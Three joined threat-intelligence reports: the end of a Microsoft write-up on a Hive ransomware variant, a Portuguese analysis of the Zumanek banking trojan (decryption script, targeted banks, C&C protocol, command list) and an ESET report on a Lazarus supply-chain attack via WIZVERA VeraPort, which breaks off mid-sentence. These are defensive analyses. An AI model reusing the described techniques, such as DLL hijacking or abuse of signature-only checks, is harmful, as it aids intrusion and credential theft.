maximum number of blocks at 100. There is an interval between the encrypted blocks as defined by block_space. After the encryption is finished in memory, the encrypted data is written to the disk, overwriting the original file. Looking at when create_extension is called once file encryption has started, we recognized a similar structure in the previous variant. Let us look at the value (72 D7 A7 A3 F5 5B FF EF 21 6B 11 7C 2A 18 CD 00) in the address of r9 register just before create_extension is called on a file called EDBtmp.log. Recall that in the older variants, 0xFF was used as a delimiter to separate the key file name from the offset values. We can also see it here. Converting the first six bytes (72 D7 A7 A3 F5 5B) to Base64 yields the following: cteno/Vb. And if we step over create_extension, the result is similar—we get cteno_Vb as the .key file name (note: Since Hive uses a different Base64 character set, “/” was replaced with “_”). Microsoft will continue to monitor the Hive operators’ activity and implement protections for our customers. ## Recommended Customer Actions The techniques used by the new Hive variant can be mitigated by adopting the security considerations provided below: - Use the included IOCs to investigate whether they exist in your environment and assess for potential intrusion. Our recent blog on the ransomware-as-a-service economy has an exhaustive guide on how to protect yourself from ransomware threats that dive deep into each of the following areas. We encourage readers to refer to that blog for a comprehensive guide on: - Building credential hygiene - Auditing credential exposure - Prioritizing deployment of Active Directory updates - Cloud hardening - Implement the Azure Security Benchmark and general best practices for securing identity infrastructure. - Ensure cloud admins/tenant admins are treated with the same level of security and credential hygiene as Domain Admins. - Address gaps in authentication coverage. - Enforce MFA on all accounts, remove users excluded from MFA, and strictly require MFA from all devices, in all locations, at all times. - Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. - Disable legacy authentication. For Microsoft 365 Defender customers, the following checklist eliminates security blind spots: - Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques, block new and unknown malware variants, and enhance attack surface reduction rules and tamper protection. - Turn on tamper protection features to prevent attackers from stopping security services. - Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when a non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode also blocks indicators identified proactively by Microsoft Threat Intelligence teams. - Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. - Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches. - Use device discovery to increase visibility into the network by finding unmanaged devices and onboarding them to Microsoft Defender for Endpoint. - Protect user identities and credentials using Microsoft Defender for Identity, a cloud-based security solution that leverages on-premises Active Directory signals to monitor and analyze user behavior to identify suspicious user activities, configuration issues, and active attacks. ## Indicators of Compromise (IOCs) The below list provides a partial list of the IOCs observed during our investigation and included in this blog. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. | Indicator | Type | Description | |-----------------------------------------------------------------------------------------------|-----------|---------------------------------| | f4a39820dbff47fa1b68f83f575bc98ed33858b02341c5c0464a49be4e6c76d3 | SHA-256 | Hive Rust variant payload | | 88b1d8a85bf9101bc336b01b9af4345ed91d3ec761554d167fe59f73af73f037 | SHA-256 | Hive Rust variant payload | | 065208b037a2691eb75a14f97bdbd9914122655d42f6249d2cca419a1e4ba6f1 | SHA-256 | Hive Rust variant payload | | 33744c420884adf582c46a4b74cbd9c145f2e15a036bb1e557e89d6fd428e724 | SHA-256 | Hive Rust variant payload | | afab34235b7f170150f180c7afb9e3b4e504a84559bbd03ab71e64e3b6541149 | SHA-256 | Hive Rust variant payload | | 36759cab7043cd7561ac6c3968832b30c9a442eff4d536e901d4ff70aef4d32d | SHA-256 | Hive Rust variant payload | | 481dc99903aa270d286f559b17194b1a25deca8a64a5ec4f13a066637900221e | SHA-256 | Hive Rust variant payload | | 6e5d49f604730ef4c05cfe3f64a7790242e71b4ecf1dc5109d32e811acf0b053 | SHA-256 | Hive Rust variant payload | | 32ff0e5d87ec16544b6ff936d6fd58023925c3bdabaf962c492f6b078cb01914 | SHA-256 | Hive Rust variant payload | **NOTE:** These indicators shouldn’t be considered exhaustive for this observed activity. ## Detections ### Microsoft 365 Defender Microsoft Defender Antivirus provides detection for this threat under the following family names with build version 1.367.405.0 or later. - Ransom:Win64/Hive - Ransom:Win32/Hive ### Microsoft Defender for Endpoint Detection Microsoft Defender for Endpoint customers may see any or a combination of the following alerts as an indication of possible attack. These alerts are not necessarily an indication of a Hive compromise, but should be investigated: - Ransomware behavior detected in the file system - File backups were deleted - Possible ransomware infection modifying multiple files - Possible ransomware activity - Ransomware-linked emerging threat activity group detected ### Advanced Hunting Queries To locate possible Hive ransomware activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below: **Identify Hive ransomware IOCs** This query identifies a match across various data feeds for IOCs related to Hive ransomware. [GitHub Link](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/HiveRansomwareJuly2022.yaml) **Identify backup deletion** This hunting query helps detect a ransomware’s attempt to delete backup files. [GitHub Link](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/BackupDeletion.yaml) **Identify Microsoft Defender Antivirus detection of Hive ransomware** This query looks for Microsoft Defender Antivirus detections related to the Hive ransomware and joins the alert with other data sources to surface additional information such as device, IP, signed-in users, etc. [GitHub Link](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/HiveRansomwareAVHits.yaml)
# Zumanek: novo malware tenta roubar credenciais de serviços das vítimas Uma nova família de banker está enfocada em serviços online banking e no atual mundo das criptomoedas. Há cerca de três meses, detectamos uma nova família de banker com foco no Brasil: Zumanek. A história da escolha do nome desta família é um tanto quanto peculiar. Na verdade, é uma homenagem ao nosso colega Jakub Tomanek, da República Tcheca, que teve um acidente enquanto andava de bicicleta e quebrou um de seus dentes (“Zub” em tcheco). Após esse acidente, exatamente no dia em que Jakub voltou a trabalhar, essa família de banker foi detectada. Essa relação entre os dois fatos foi a fonte de inspiração do nome Zumanek (Zub + Tomanek => Zumanek), de modo que Jakub até hoje guarda o dente quebrado em sua carteira. Apesar do nome tcheco, a ameaça é detectada (quase que) exclusivamente no Brasil. Seu nível de detecção ainda não a coloca dentre do top 10 de spywares/bankers mais detectados no país, mas essa família dá mostras dos planos futuros do cibercrime brasileiro que está enfocado em bancos e criptomoedas. Neste post, vamos analisar uma amostra dessa família (versão 3.0) a fim de entender seu funcionamento, verificar as precauções tomadas por seus desenvolvedores para evitar a detecção e entender quais medidas podem ser tomadas para estar protegido. ## Zumanek: Downloader Assim como a grande maioria dos malwares em atividade, sua cadeia de ataque é subdividida em diferentes estágios. O objetivo disso é fazer com que seja possível manter estágios do ataque desconhecidos o máximo possível, evitando efetuá-los em máquinas que não cumprem algum perfil desejado. Para chegar às vítimas, os cibercriminosos se valem da Engenharia Social a fim de convencer a vítima a baixar e executar esse primeiro estágio de infecção. No primeiro estágio do Zumanek (i.e.: downloader), o intuito é fazer uma triagem inicial da máquina onde está sendo executado, realizar o download do payload final e, por fim, executá-lo na máquina comprometida. A fim de proteger o downloader (e como veremos, também o banker final), os desenvolvedores do Zumanek, nas versões analisadas, utilizam o packer PECompact. Para a análise estática e dinâmica dessa amostra, é necessário desempacotá-la. Na versão utilizada, esse procedimento pode ser realizado até mesmo manualmente. Apesar da preocupação para dificultar a engenharia reversa de seu malware, a mesma precaução não parece ter sido tomada na indicação do timestamp de compilação, que data de 28 de dezembro de 2017, mesmo período das primeiras detecções desta amostra, que não parece ter sido alterada. Um dos motivos que explicam o porquê das detecções serem (quase que) exclusivamente brasileiras, está no fato do downloader verificar a língua do sistema escolhida pelo usuário. O retorno da chamada para GetSystemDefaultUILanguage é tratado e verifica-se se corresponde a ‘pt-br’. Além disso, antes de tentar fazer o download de qualquer arquivo, o Downloader verifica a presença de diferentes antivírus. Caso algum deles seja detectado, o processo é imediatamente encerrado. Listagem completa de AVs/proteções verificados: - sf2.dll (AVAST) - snxhk.dll (AVAST) - cmdvrt32.dll (COMODO) - SxIn.dll (360 Total Security) - SbieDll.dll (Sandboxie) O malware prossegue com o download do payload final (i.e.: banker) e sua execução na máquina da vítima. Nota-se que logo antes da execução de urlmon.URLDownloadToFileW, há strings hexadecimais sendo passadas como argumento da chamada em 006B16E0 (posição da memória virtual que pode mudar dependendo de onde o módulo for carregado). É importante perceber que o Delphi segue a convenção de registradores Borland fastcall, que em x86 passa parâmetros através de EAX, EDX, ECX e, somente depois, através da pilha. Como haveria de se esperar, essas strings estão encriptadas e guardam as informações necessárias tanto para a execução da chamada, quanto para obter as informações necessárias para o download do payload final que está hospedado no C&C. O algoritmo de decriptação tem como entrada a string encriptada e outra string (unicode) que atua como uma chave (e varia de amostra para amostra). Byte a byte, o algoritmo vai obtendo o valor da string decriptada sempre fazendo uso do valor do último byte decriptado para o cálculo do próximo byte. O método de decriptação das strings não segue nenhum padrão seguro de criptografia (e.g.: AES) e foi implementado exclusivamente para dificultar a análise estática do código. No entanto, é interessante notar que uma vez entendido como esse algoritmo funciona, é possível escrever um script para a obtenção das strings encriptadas não apenas dessa amostra, mas de outras da família Zumanek. ```python static_str = "FIUxRfaxgEaXaIkLgaonACAZhAbnQOylEhHOqXYETApwxrpkqWuWRybnbglopKPSzdBl" # Exemplo enc_strs = ["F67E8782BE52C063"] # Exemplo def decrypt_str(enc_str): prev_byte = int(enc_str[:2], 16) dec_str = "" i = 2 while i < len(enc_str): current_byte = int(enc_str[i:i+2], 16) static_char = static_str[i/2 - 1] dec_char = current_byte ^ ord(static_char) if dec_char >= prev_byte: dec_char -= prev_byte else: dec_char += 0xFF - prev_byte dec_str += chr(dec_char) prev_byte = current_byte i += 2 return dec_str ``` Ao final de todos os downloads e da descompressão dos arquivos (já que o payload vem em forma de ZIP), é verificado se os arquivos foram baixados e modificados corretamente. Se a verificação for positiva, o payload final é executado, caso contrário os arquivos são escondidos (FILE_ATTRIBUTE_HIDDEN) e o sistema é reiniciado. ## Zumanek: Banker O segundo estágio trata-se de um banker/RAT, cuja finalidade é prover ao atacante o controle remoto à máquina da vítima, enfocando no roubo de credenciais de acesso a serviços online banking e a casas de câmbio de criptomoeda. A cadeia de ataque é realizada de maneira muito simples: o downloader se encarrega de baixar um ZIP contendo dois arquivos, um executável legítimo (e assinado) e uma DLL maliciosa que é carregada pelo executável, executando, na sequência, o arquivo legítimo. Semelhantemente à proteção do downloader, o payload final (i.e.: drive0, uma DLL maliciosa) também utiliza o packer PECompact. O outro arquivo (drive1) é uma cópia legítima (e assinada) do GbpSv.EXE. Esse arquivo é baixado junto à DLL maliciosa, que é renomeada para fltLib.DLL pelo downloader. Quando, então, o GbpSv.EXE é executado, ao invés da DLL legítima ser carregada, devido à ordem de busca de DLLs no sistema, a fltLib.DLL (maliciosa) será carregada e executada no lugar (i.e.: DLL Hijacking). O procedimento de encriptação de strings é idêntico ao empregado no downloader (modificando-se somente a string unicode que funciona como chave). Com isso, de maneira estática, é possível entender a finalidade deste malware com base no conteúdo de algumas strings. Tabela 1: Lista de alvos da amostra analisada do Zumanek | String encriptada | Conteúdo (i.e.: alvos) | |---------------------------|--------------------------------| | 0018010C101B38C040 | BANRISUL | | 07001117283521 | SICOOB | | 19011B1D222D39C6 | BBCOMBR | | 223FD066E166F10D15 | CITIBANK | | 342C35C048D978F009 | BANESTES | | 47D37EFC0F12 | BRADA (i.e.: BRADESCO) | | 4DD54FDE6CF91F3CC823589EEA00 | BANCOORIGINAL | | 5BC74CD852DF75F07FFB7E | BLOCKCHAIN | | 68E17B8A9093 | SANTA (i.e.: SANTANDER) | | 75ED7786989BBB | BANPAR | | 94BD5FE17AFD1410 | SICREDI | | 9B87889FACB751D2 | BITCION | | B2A1ADAD | ITA (i.e.: ITAU) | | B3A3AA40CC54FE | FOXBIT | | B656FC05061A0900 | UNICRED | | B958F375F6 | HSBC | | BB53C050DD5DF70A0179F9057BFD75 | MERCADOBITCION | | D543DC65F377 | CAIXA | | FB64FD0F1C292D3FC0364BA0D02845DD | BANCORENDIMENTO | Em sua execução, o módulo fltLib.DLL altera a chave de registro Software\Microsoft\CurrentVersion\Run para executar o binário (legítimo) sempre que o sistema é inicializado. Além disso, o módulo cria um novo processo de notepad.EXE e injeta-se na memória do mesmo. Dessa forma, o processo do notepad.EXE carrega também a fltLib.DLL na memória. As ações maliciosas são realizadas apenas quando a fltLib.DLL está sendo executada em notepad.EXE. O payload redireciona os acessos web das páginas alvo realizados no firefox.EXE ou chrome.EXE para serem executados via Internet Explorer, injetando formulários (form grabbing) para roubar as senhas de acesso das vítimas e enviá-las ao C&C. A comunicação inicial com o C&C dá-se através de requisições HTTP POST, com os seguintes parâmetros: - User agent: NULL - Headers: Content-Type: application/x-www-form-urlencoded - POST: “op={8 chars aleatorios}+{BASE64 de dados encriptados}” Dados enviados via POST: - %VERSION% – versão do banker - %BANKPROTECTIONSW% – proteções instaladas (valores possíveis: [“SCAPD” | “WARSAW” | “GB”]) - %COMPUTERID% – {Nome do Computador}+{Número Serial do Volume} - %OSVERSION% – OS version: [“Desconhecido” | “Windows XP” | “Vista” | “Windows 7” | “Windows 8” | “Windows 10”] + [” Intel” | ” Intel Itanium-based X64″ | ” Arquitetura desconhecida” | ” x64 (AMD ou Intel)”] + [” 64Bits” | ” 32Bits”] - %AVs% – Antivírus instalados - %DATETIME% – data e hora Exemplo: [4.5.0]#[SCAPD]#[MAQUINA]#[Windows 7 Intel 64Bits]#[]#[01/10/2018 4:07:00 PM]# Além da comunicação via HTTP POST, três sockets são criados: Comando, Foto e Texto. As portas e os endereços aos quais os sockets se conectam estão hardcoded de forma encriptada no código do banker. Quando os sockets estabelecem com sucesso uma conexão com o C&C, uma mensagem inicial é enviada: - Socket FOTO: “SOQUETEFOTOS;VAZIO;VAZIO;VAZIO;VAZIO” - Sockets COMANDO e TEXTO: “SOQUETETEXTOS;%COMPUTERID%;%OSVERSION%;%BROWSER%;%VERSION%;%BANK%;” Os valores de %COMPUTERID%, %OSVERSION% e %VERSION% são iguais aos enviados via HTTP POST. Os valores possíveis para %BANK% seguem a lista da tabela acima, enquanto %BROWSER% pode assumir os valores [“Explorer” | “Firefox” | “Chrome” | “Opera” | “Microsoft Edge” | “Avast SafeZone” | “UC Browser” | “App Brada”]. Através do socket Comando, o operador do Zumanek pode enviar diversos comandos à máquina da vítima. A lista autoexplicativa de comandos está apresentada na tabela abaixo: Tabela 2: Lista de comandos da versão analisada do Zumanek | Comando | Ação | |-----------------------------|-------------------------------| | LISTARMODULOS | | | ATUALIZARMODULO | | | ENIVARDUPLOCLIQUE | | | ENIVARCLIQUE | | | ENIVARCLIQUEINVERSO | | | ENIVARMOUSEMOVE | | | ENIVARTEXTO | | | ENIVARTECLAS | | | COLARDATA | | | MUDARQUALIDADEBMP | | | TIPOFOTO | | | TIPOPRINT | | | ENVIARMESSAGEBOX | | | ABRIRCHROME | | | ABRIRFIREFOX | | | ABRIRIEXPLORER | | | MAXIMIZARBROWSER | | | MINIMIZARBROWSER | | | ENIVARCLIQUEARRASTA0 | | | ENIVARCLIQUEARRASTA1 | | | ENIVARNOMECLIENTE | | | ENIVARAJUSTEXY | | | ENVIARMOVIMENTOMOUSE1 | | | ENVIARMOVIMENTOMOUSE0 | | | ENVIARAUTOGETHANDLES0 | | | ENVIARAUTOGETHANDLES1 | | | LISTARHANDLES | | | LISTARDESKTOPS | | | SETARHANDLEALVO | | | DETALHESJANELAFILHA | | | ENVIARINTERVALOMOVEMOUSE | | | CRIARDESKTOP | | | REINICIARPC | | | RESTARTKL | | | BLOQUEARKL | | | DELETARKL | | | FECHARKL | | | RESETARKL | | | EXECUTARPCHUNTER | | | FECHARINFO | | | OCULTARBARRATAREFAS | | | MOSTRARBARRATAREFAS | | | FECHARBROWSERS | | | FINALIZARINFO | | | RECONECTARREMOTO | | | AJUSTARBROWSER | | | ENVIARCONECTAPHOTO | | | ENVIARDESCONECTAPHOTO | | | MATAHOOK | | | ATIVAKEYLOG | | | DESATIVAKEYLOG | | | RECEBERDADOSKEY | | | DESATIVARAERO | | | ATIVAAERO | | | DESATIVATRUSTEER | | | DETONARPC | | | LIBERAATUALIZA | | | XYRECORTE | | | FECHABURACO | | | ATUALIZEMAIL | | | TRAVAUPD | | | TRAVAGENERICA | | | ATUALIZABB | | | ATUALIZACEF | | | ATUALIZASANTA | | | ATUALIZAITA | | | ATUALIZABRADA | | | ATUALIZASICREDI | | | ATUALIZAUNICRED | | | ATUALIZASICOOB | | | ATUALIZABANRISUL | | | CANCELATELA | | | BANRISULSENHA | | | BBFISICASENHA8 | | | BBFISICASENHACONTA | | | BBGFSENHACONTA | | | BBGFSENHACERTIFICADO | | | BRADAPOSICAOTABELA | | | BRADACHAVE | | | BRADATOKEN | | | CEFASSINATURA | | | ITAFISICASENHA | | | ITATABELA | | | ITAFISICATOKEN | | | ITADATANASCIMENTO | | | ITAFISICASMSTOKEN | | | SANTATABELA | | | SANTAASSTOKEN | | | SANTASMSTOKEN | | | SANTAASSINATURA | | | SANTASOTOKEN | | | SANTATOKEN | | | SICOOBASSINATURA | | | SICOOBSENHA4 | | | SICOOBSENHA6 | | | SICOOBTOKEN | | | SICREDIASSINATURA | | | SICREDITOKEN | | | UNICREDITOKEN | | | UNICREDASSINATURA | | | BLOQUEARSICREDI | | | BLOQUEARBB | | | BLOQUEARITA | | | BLOQUEARCEF | | | BLOQUEARBRADA | | | BLOQUEARSANTA | | | BLOQUEARHSBC | | | BLOQUEARBANRISUL | | | BLOQUEARBANESTES | | | BLOQUEARUNICRED | | | BLOQUEARSICOOB | | | BLOQUEARCITIBANK | | Através do socket Foto, o operador pode visualizar a tela da vítima a partir dos dados enviados: Tabela 3: Lista de comandos de visualização da tela da vítima da versão analisada do Zumanek | Comando | Ação | |---------------|----------------------------------------------------------------------| | PRIMEIRAFOTO | Tira screenshot da máquina da vítima e envia o tamanho da screenshot comprimida (zlib) | | SEGUNDAFOTO | Cria diff da screenshot atual com a anterior e envia tamanho do diff | | MANDASTREAM | Envia screenshot comprimida e diff | Dessa forma, percebemos que a família de malware Zumanek trata-se de um RAT com características de Banker, enfocado no mercado financeiro nacional: seja tradicional (ou seja, Bancos) ou seja no novo mercado das criptomoedas. Interessantemente, o C&C não fica ativo a todo o tempo, o que sugere que o Zumanek segue a arquitetura clássica de “Cliente-Servidor”, onde o servidor é a máquina da vítima e o cliente é a aplicação do operador. Nesse caso, é bastante possível que o malware seja desenvolvido e comercializado por pessoas diferentes das quais operam os ataques. Em especial, essa família emprega técnicas que vemos extensivamente utilizadas no Brasil, mas aponta também para o enfoque que o cibercrime vem tomando em torno das criptomoedas. ## DLL Hijacking Ao longo do ano passado, vimos uma enorme quantidade de bankers no Brasil utilizando DLL Hijacking para executar suas ações maliciosas. Notavelmente, essa é a técnica utilizada pelo Client Maximus para se executar na máquina das vítimas. O ataque funciona devido ao fato de que sempre que uma DLL é carregada através de LoadLibrary ou LoadLibraryEx, o sistema busca pela DLL desejada em uma certa ordem: 1. Diretório onde a aplicação foi carregada 2. Diretório System 3. Diretório System (16 bits) 4. Diretório Windows 5. Diretório de trabalho (CWD) 6. Diretórios listados em PATH Como o Downloader se encarrega de colocar o executável (legítimo) e a DLL no mesmo diretório, quando a aplicação é carregada, a DLL terá a maior prioridade na ordem de carregamento. Esse ataque, no entanto, pode ser mitigado tanto pelos lado dos desenvolvedores quanto dos usuários. ## Como estar seguro? A Microsoft possui algumas recomendações que podem ser seguidas pelos desenvolvedores a fim de evitar, ou ao menos dificultar, terem suas aplicações exploradas nesse tipo de ataque (que pode acabar tendo algum tipo de impacto para a imagem da marca). Alguns exemplos simples de implementação: - Validação das DLLs carregadas. Exemplos: - Uso de SearchPath para identificar o caminho da DLL - Uso de LoadLibrary para identificar a versão do sistema operacional - Uso de caminhos absolutos para as chamadas LoadLibrary, CreateProcess e ShellExecute Em especial, aplicações assinadas digitalmente deveriam buscar carregar apenas a DLL que também fosse assinada digitalmente. O fato de um executável digitalmente assinado poder carregar uma DLL sem assinatura abre brecha para que códigos maliciosos sejam executados em contextos “autenticados”. Para os usuários, é possível controlar a ordem de busca de DLLs através do registro CWDIllegalInDllSearch. Já para as versões de Windows a partir do Windows Server 2012 (servidores) e Windows 8.1 (PCs), esse registro já está disponível sem necessidade da instalação do KB2264107. A chave de registro CWDIllegalInDllSearch com valor 0xFFFFFFFF remove o diretório local de trabalho (CWD) da busca de DLL. Como vimos, o cibercrime brasileiro é bastante inovador e ativo. Portanto, é sempre importante estar atento, principalmente quando utilizamos as facilidades trazidas pelo online banking e, agora, pelas criptomoedas.
# Lazarus Supply-Chain Attack in South Korea ESET researchers uncover a novel Lazarus supply-chain attack leveraging WIZVERA VeraPort software. ESET telemetry data recently led our researchers to discover attempts to deploy Lazarus malware via a supply-chain attack in South Korea. To deliver its malware, the attackers used an unusual supply-chain mechanism, abusing legitimate South Korean security software and digital certificates stolen from two different companies. ## Lazarus Toolset The Lazarus group was first identified in Novetta’s report Operation Blockbuster in February 2016; US-CERT and the FBI call this group HIDDEN COBRA. These cybercriminals rose to prominence with the infamous case of cybersabotage against Sony Pictures Entertainment. Some past attacks attributed to the Lazarus group attracted the interest of security researchers who relied on Novetta et al.’s white papers with hundreds of pages describing the tools used in the attacks – the Polish and Mexican banks, the WannaCryptor outbreak, phishing campaigns against US defense contractors, Lazarus KillDisk attack against Central American casino, etc. The Lazarus toolset is extremely broad, and we believe there are numerous subgroups. Unlike toolsets used by some other cybercriminal groups, none of the source code of any Lazarus tools has ever been disclosed in a public leak. ## Latest Lazarus Supply-Chain Attack To understand this novel supply-chain attack, you should be aware that South Korean internet users are often asked to install additional security software when visiting government or internet banking websites. WIZVERA VeraPort, referred to as an integration installation program, is a South Korean application that helps manage such additional security software. With WIZVERA VeraPort installed on their devices, users receive and install all necessary software required by a specific website with VeraPort (e.g., browser plug-ins, security software, identity verification software, etc.). Minimal user interaction is required to start such a software installation from a website that supports WIZVERA VeraPort. Usually, this software is used by government and banking websites in South Korea. For some of these websites, it is mandatory to have WIZVERA VeraPort installed for users to be able to access the sites’ services. The Lazarus attackers abused the above-mentioned mechanism of installing security software to deliver Lazarus malware from a legitimate but compromised website. However, it should be noted that a successful malware deployment using this method requires a number of preconditions; that’s why it was used in limited Lazarus campaigns. To make this attack possible: - The victim must have WIZVERA VeraPort software installed. - The victim must visit a compromised website that already has support for WIZVERA VeraPort. - This website must have specific entries in its VeraPort configuration file that allow attackers to replace regular software in its VeraPort software bundle with their malware. It is important to note that, based on our analysis, we believe that these supply-chain attacks happen at websites that use WIZVERA VeraPort, rather than at WIZVERA itself. Websites that support WIZVERA VeraPort software contain a server-side component, specifically some JavaScripts and a WIZVERA configuration file. The configuration file is base64-encoded XML containing the website address, a list of software to install, download URLs, and other parameters. These configuration files are digitally signed by WIZVERA. Once downloaded, they are verified using a strong cryptographic algorithm (RSA), which is why attackers can’t easily modify the content of these configuration files or set up their own fake website. However, the attackers can replace the software to be delivered to WIZVERA VeraPort users from a legitimate but compromised website. We believe this is the scenario the Lazarus attackers used. It should be noted that WIZVERA VeraPort configurations contain an option to verify the digital signature of downloaded binaries before they are executed, and in most cases, this option is enabled by default. However, VeraPort only verifies that the digital signature is valid, without checking to whom it belongs. Thus, to abuse WIZVERA VeraPort, attackers must have any valid code-signing certificate in order to push their payload via this method or get lucky and find a VeraPort configuration that does not require code-signing verification. So far, we have observed two malware samples that were delivered using this supply-chain attack and both were signed: - **SHA-1**: 3D311117D09F4A6AD300E471C2FB2B3C63344B1D, **Filename**: Delfino.exe, **Digital signature**: ALEXIS SECURITY GROUP, LLC - **SHA-1**: 3ABFEC6FC3445759730789D4322B0BE73DC695C7, **Filename**: MagicLineNPIZ.exe, **Digital signature**: DREAM SECURITY USA INC The attackers used illegally obtained code-signing certificates to sign the malware samples. Interestingly, one of these certificates was issued to the US branch of a South Korean security company. The attackers camouflaged the Lazarus malware samples as legitimate software. These samples have similar filenames, icons, and VERSIONINFO resources as legitimate South Korean software often delivered via WIZVERA VeraPort. Binaries that are downloaded and executed via the WIZVERA VeraPort mechanism are stored in `%Temp%\[12_RANDOM_DIGITS]\`. It should be noted that WIZVERA VeraPort’s configuration has an option not only to verify digital signatures but also to verify the hash of downloaded binaries. If this option is enabled, then such an attack cannot be performed so easily, even if the website with WIZVERA VeraPort is compromised. ## Attribution We strongly attribute this supply-chain attack to the Lazarus group, based on the following aspects: 1. **Community agreement**: The current attack is a continuation of what KrCERT has called Operation Bookcodes. While KrCERT hasn’t attributed that campaign to the Lazarus group, Kaspersky did in their report about Q2 2020 APT trends. 2. **Toolset characteristics and detection**: - The initial dropper is a console application that requires parameters, executing the next stages in a cascade and utilizes encryption, cf. the watering hole attacks against Polish and Mexican banks. - The final payload is a RAT module, with TCP communications and its commands indexed by 32-bit integers, cf. KillDisk in Central America. - Many tools delivered via this chain are already flagged as NukeSped by ESET software. For example, the signed Downloader in the Analysis section is based on a project called WinHttpClient and it leads to a similar tool with hash 1EA7481878F0D9053CCD81B4589CECAEFC306CF2, which we link with a sample from Operation Blockbuster (CB818BE1FCE5393A83FBFCB3B6F4AC5A3B5B8A4B). The connection between the latter two is the dynamic resolution of Windows APIs where the names are XOR-encrypted by 0x23. 3. **Victimology**: The Lazarus group has a long history of attacks against victims in South Korea like Operation Troy, including DDoS attacks Ten Days of Rain in 2011, South Korean Cyberattacks in 2013, or South Korean cryptocurrency exchanges targeted in 2017. 4. **Network infrastructure**: The server-side techniques of webshells and the organization of C&Cs are covered very precisely in KrCERT’s white paper #2. The current campaign uses a very similar setup as well. 5. **Eccentric approach**: - In intrusion methods: The unusual method of infiltration is a clue that could be attributed to a sophisticated and professionally organized actor like Lazarus. In the past, we saw how a vulnerability in software existing only in specific networks was leveraged by this group, and not visible with any other APT actor. For example, the case of “A Strange Coinminer” delivered through the ManageEngine Desktop Central software. - In encryption methods: We saw a Spritz variant of RC4 in the watering hole attacks against Polish and Mexican banks; later Lazarus used a modified RC4 in Operation In(ter)ception. In this campaign, it is a modified A5/1 stream cipher that degrades to a single-byte XOR in many cases. ## Malware Analysis It is a common characteristic of many APT groups, especially Lazarus, that they unleash their arsenal within several stages that execute as a cascade: from the dropper to intermediate products (the Loader, serving as an injector) up to the final payloads (the Downloader, the Module). The same is true for this campaign. During our analysis, we found similarities in code and architecture between Lazarus malware delivered via this WIZVERA supply-chain attack and the malware described in the Operation BookCodes report published by Korea Internet & Security Agency this year. ### Comparison with Operation BookCodes | Parameter/Campaign | Operation BookCodes | Via WIZVERA Vera Port | |---------------------|---------------------|-----------------------| | Location of targets | South Korea | South Korea | | Time | Q1-Q2 2020 | Q2-Q3 2020 | | Methods of compromise | Korean spearphishing email (link to download or HWP attachment) | Supply-chain attack, Watering hole website | | Filename of the dropper | C:\Windows\SoftwareDistribution\Download\BIT[5digits].tmp | C:\Windows\SoftwareDistribution\Download\BIT388293.tmp | | Binary configuration file | perf91nc.inf (12000 bytes) | assocnet.inf (8348 bytes) | | Loader name | nwsapagentmonsvc.dll | Btserv.dll, iasregmonsvc.dll | | RC4 key | 1qaz2wsx3edc4rfv5tgb$%^&*!@#$ | 1q2w3e4r!@#$%^&* | | Log file | %Temp%\services_dll.log | %Temp%\server_dll.log | ### Signed Initial Downloader This is the Lazarus component delivered via the VeraPort hijack described earlier. The signed initial downloaders are Themida-protected binaries, which download, decrypt, and execute other payloads in memory, without dropping them to the disk. This downloader sends an HTTP POST request to a hardcoded C&C server, decrypts the server’s answer using the RC4 algorithm, and executes it in memory using its own loader for PE files. ### Dropper This is the initial stage of the cascade. While one can’t see any polymorphism or obfuscation in the code, it encapsulates three encrypted files in its resources. Moreover, it’s a console application expecting three parameters in an encrypted state: the name of the first file (the Loader, Btserv.dll), the name of the second file (the Downloader, bcyp655.tlb), and the necessary decryption key for the previous values (542). The extraction of resources is one of two main roles of the dropper; it does so in the `%WINDOWS%\SYSTEM32` folder, decrypting the Loader and preserving the encrypted state of the Downloader that will be decrypted just before being injected into another process. It also drops the configuration file assocnet.inf that will later be leveraged by the final payloads, namely the Downloader and the Module. Then it chooses a service by checking the following list of three legitimate service names: Winmgmt, ProfSvc, wmiApSrv; and injects the Downloader into the matched service using reflective DLL injection. ### Loader This component is a Themida-protected file. We estimate the version of Themida to be 2.0-2.5, which agrees with KrCERT’s report. The Loader serves as a simple injector that is looking for its injection parameters in the resources: the name of the encrypted file and the decryption key, which is the string “542”. The instance delivered by the dropper looks for the file bcyp655.tlb (the Downloader). It creates a mutex Global\RRfreshRA_Mutex_Object. The choice of the targeted service and the injection method are the same as in the dropper. Let us talk for a while about the encryption method used by the dropper and by this loader. The common key is the string “542”, which is initially provided as a command-line parameter to the Dropper and subsequently as a 3-byte encrypted resource for the Loader. To expand a short master key to a larger expanded key (so-called key scheduling), the MD5 hash of the string is computed. The encryption algorithm itself looks like A5/1 at first glance. ### Downloader, aka WinHttpClient The main downloader is dropped by the Dropper component under the bcyp655.tlb name and injected into one of the services by the Loader. Its main purpose is to deliver additional stages onto the victim’s computers. The network protocol is based on HTTP but requires several stages to establish a trusted connection. The malware fingerprints the victim’s system. The first step is authorization. After sending randomly generated, generic parameters code and id, the expected response starts with `<!DOCTYPE HTML PUBLIC Authentication En>` followed by additional data delimited by a semicolon. However, in the next POST request, the parameters are already based on the victim’s IP. If the victim passes these introductory messages and the connection is acknowledged, then the decrypted response starts with an interesting artifact: a keyword `ohayogonbangwa!!`. As a whole, we haven’t found that word on the internet, but the closest meaning could be “Ohayo, Konbangwa” (おはようこんばんぐぁ), which is “Good morning, good evening” in Japanese. ### Module, the Final RAT Payload This is a RAT with a set of typical features used by the Lazarus group. The commands include operations on the victim’s filesystem and the download and execution of additional tools from the attacker’s arsenal. They are indexed by 32-bit integers and coincide with those reported by KrCERT. ## Conclusion Attackers are constantly trying to find new ways to deliver malware to target computers. Attackers are particularly interested in supply-chain attacks because they allow them to covertly deploy malware on many computers at 